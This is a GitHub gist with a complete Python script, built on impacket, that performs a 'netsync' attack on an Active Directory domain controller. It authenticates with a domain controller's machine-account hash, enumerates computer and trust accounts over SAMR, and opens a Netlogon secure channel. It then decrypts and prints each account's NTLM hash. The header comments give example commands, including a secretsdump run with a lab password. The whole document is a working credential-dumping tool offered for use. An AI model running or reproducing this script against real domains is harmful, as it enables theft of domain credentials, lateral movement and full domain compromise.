Created
March 4, 2025 11:14
-
-
Save ThePirateWhoSmellsOfSunflowers/4efeea0e405ee8a53c8aa9f4f515d9ad to your computer and use it in GitHub Desktop.
This script perform a netsync attack. No SMB involved
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from impacket.dcerpc.v5 import epm, rpcrt, transport, nrpc, samr | |
from impacket.uuid import bin_to_uuidtup | |
from impacket.crypto import SamDecryptNTLMHash | |
from binascii import unhexlify, hexlify | |
from random import randbytes | |
import sys | |
import argparse | |
# This script perform a netsync attack. No SMB involved | |
# My first idea was to only use netlogon SSP, however SAMR seems not compatible | |
# Tested with impacket ead516a1209742efc7ac550707a9304ba08681e9 on GOAD | |
# 1) secretsdump.py essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.56.12 -just-dc-user 'MEEREEN$' -just-dc-ntlm | |
# 2) python netdumper.py -u MEEREEN -d ESSOS -t meereen.essos.local --hashes dbf7644e2ac7dc47a2029848c398c5b3 | |
# Based on | |
# - https://github.com/4ndr3w6/Presentations/blob/main/Texas_Cyber_Summit_2023/Slides/You_Disliked_DCSync_Wait_For_NetSync_Texas_Cyber_Summit_2023_Charlie_Andrew_Final.pdf | |
# - https://trustedsec.com/blog/the-tale-of-the-lost-but-not-forgotten-undocumented-netsync-part-1 | |
# - https://github.com/Ridter/netsync | |
# | |
# Not tested in prod, use at your own risk | |
# | |
# @lowercase_drm / ThePirateWhoSmellsOfSunflowers | |
def argparser(argv): | |
arg_parser = argparse.ArgumentParser(prog='netdumper.py', description='\n netsync implementation') | |
arg_parser.add_argument('-u', '--user', required=True, help='Domain controller account used to connect to DC') | |
arg_parser.add_argument('-d', '--domain', required=True, dest='domain', help='NETBIOS name of the domain we authenticate with') | |
arg_parser.add_argument('--hashes', required=True, action='store', metavar = 'LMHASH:NTHASH', help='NTLM hashes, format is [LMHASH:]NTHASH') | |
arg_parser.add_argument('-t', '--dc-ip', dest='domain_controller', help='IP address of the Domain Controller to target') | |
arg_parser.add_argument('--debug', action="store_true", help='Debug mode') | |
args = arg_parser.parse_args(argv) | |
if args.hashes: | |
try: | |
args.lmhash, args.nthash = args.hashes.split(':') | |
except ValueError: | |
args.lmhash, args.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes | |
finally: | |
args.password = str() | |
else: | |
args.lmhash = args.nthash = str() | |
if args.password is None and not args.hashes: | |
from getpass import getpass | |
args.password = getpass('Password:') | |
return args | |
args = argparser(sys.argv[1:]) | |
host=args.domain_controller | |
computer_hash = unhexlify(args.nthash) | |
primary_name = "" | |
computer_name = args.user | |
domain = args.domain | |
account_name = computer_name + '$' | |
password = 'placeholder' | |
debugprint = print if args.debug else lambda *a, **k: None | |
netlogon_sc_type = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel | |
authn_level_packet = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY | |
uac_channels = {samr.USER_WORKSTATION_TRUST_ACCOUNT : nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, | |
samr.USER_SERVER_TRUST_ACCOUNT : nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, | |
samr.USER_INTERDOMAIN_TRUST_ACCOUNT : nrpc.NETLOGON_SECURE_CHANNEL_TYPE.TrustedDomainSecureChannel} | |
samr_uuid = samr.MSRPC_UUID_SAMR | |
nrpc_uuid = nrpc.MSRPC_UUID_NRPC | |
syntax = rpcrt.DCERPC.NDR64Syntax | |
debugprint('[+] Calling hept_map: {}'.format(bin_to_uuidtup(samr_uuid))) | |
binding_string_samr = epm.hept_map(host, samr_uuid, dataRepresentation=syntax, protocol='ncacn_ip_tcp') | |
debugprint("[x] Binding string: {}".format(binding_string_samr)) | |
rpctransport = transport.DCERPCTransportFactory(binding_string_samr) | |
# SAMR seems not compatible with netlogon SSP :'( | |
# so here, we use NTLM SSP | |
dce = rpctransport.get_dce_rpc() | |
dce.connect() | |
dce.set_credentials(computer_name + '$', password, domain, nthash=computer_hash) | |
dce.set_auth_level(authn_level_packet) | |
dce.bind(samr.MSRPC_UUID_SAMR) | |
debugprint('[+] Calling SamrConnect') | |
server_handle = samr.hSamrConnect(dce)['ServerHandle'] | |
debugprint('[-] server handle: {}'.format("".join((format(x, '02x') for x in server_handle)))) | |
domain_name = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)['Buffer']['Buffer'][0]['Name'] | |
debugprint('[-] domain name: {}'.format(domain_name)) | |
domain_id = samr.hSamrLookupDomainInSamServer(dce, server_handle, domain_name)['DomainId'] | |
domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_id)['DomainHandle'] | |
debugprint('[-] domain handle: {}'.format("".join((format(x, '02x') for x in domain_handle)))) | |
debugprint('[+] Calling SamrEnumerateUsersInDomain') | |
computers = list() | |
for uac in uac_channels.keys(): | |
names = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, uac)['Buffer']['Buffer'] | |
for name in names: | |
computers.append({'uac': uac,'name': name['Name']}) | |
debugprint('[-] Found {} candidates'.format(len(computers))) | |
debugprint('[+] Calling hept_map: {}'.format(bin_to_uuidtup(nrpc_uuid))) | |
binding_string_nrpc = epm.hept_map(host, nrpc_uuid, dataRepresentation=syntax, protocol='ncacn_ip_tcp') | |
debugprint("[x] Binding string: {}".format(binding_string_nrpc)) | |
rpctransport = transport.DCERPCTransportFactory(binding_string_nrpc) | |
dce = rpctransport.get_dce_rpc() | |
dce.connect() | |
dce.bind(nrpc_uuid, transfer_syntax=bin_to_uuidtup(syntax)) | |
clientchall = randbytes(8) | |
debugprint("[-] client chall: {}".format("".join((format(x, '02x') for x in clientchall)))) | |
debugprint("[x] Calling NetrServerReqChallenge") | |
resp = nrpc.hNetrServerReqChallenge(dce, primary_name, computer_name + '\x00', clientchall) | |
debugprint("[x] NetrServerReqChallenge ok!") | |
serverchall = resp["ServerChallenge"] | |
debugprint("[-] server chall: {}".format("".join((format(x, '02x') for x in serverchall)))) | |
sessionKey = nrpc.ComputeSessionKeyAES(None, clientchall, serverchall, computer_hash) | |
clientcred = nrpc.ComputeNetlogonCredentialAES(clientchall, sessionKey) | |
debugprint("[-] session Key: {}".format("".join((format(x, '02x') for x in sessionKey)))) | |
debugprint("[-] client credential: {}".format("".join((format(x, '02x') for x in clientcred)))) | |
debugprint("[+] Calling NetrServerAuthenticate3") | |
resp = nrpc.hNetrServerAuthenticate3(dce, primary_name + '\x00', account_name + '\x00', | |
netlogon_sc_type, | |
computer_name + '\x00', clientcred, 0x613FFFFF) | |
debugprint("[x] NetrServerAuthenticate3 ok!") | |
servercred = resp['ServerCredential'] | |
debugprint("[-] server credential: {}".format("".join((format(x, '02x') for x in servercred)))) | |
dce.set_credentials(computer_name + '$', password, domain) | |
dce.set_auth_type(rpcrt.RPC_C_AUTHN_NETLOGON) | |
dce.set_auth_level(authn_level_packet) | |
dce.set_aes(True) | |
resp = dce.bind(nrpc_uuid, alter=1, transfer_syntax=bin_to_uuidtup(syntax)) | |
auth = nrpc.ComputeNetlogonAuthenticatorAES(clientcred, sessionKey) | |
debugprint("[-] Netlogon authenticator: {}".format("".join((format(x, '02x') for x in auth['Credential'])))) | |
dce.set_session_key(sessionKey) | |
debugprint('[+] Calling NetrLogonGetCapabilities') | |
resp = nrpc.hNetrLogonGetCapabilities(dce, primary_name, computer_name, auth) | |
debugprint("[x] NetrLogonGetCapabilities ok!") | |
auth = resp['ReturnAuthenticator'] | |
debugprint("[-] Returned auth: {}".format("".join((format(x, '02x') for x in auth['Credential'])))) | |
debugprint("[+] Calling NetrServerGetTrustInfo on each target") | |
for target in computers: | |
# The trick here is to set the same channel option as the UAC | |
resp = nrpc.hNetrServerGetTrustInfo(dce, computer_name, target['name'], uac_channels.get(target['uac']), computer_name, auth) | |
auth = resp['ReturnAuthenticator'] | |
print("{}\{}:{}".format(domain_name, target['name'], hexlify(SamDecryptNTLMHash(resp['EncryptedNewOwfPassword'], sessionKey)).decode('utf8'))) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment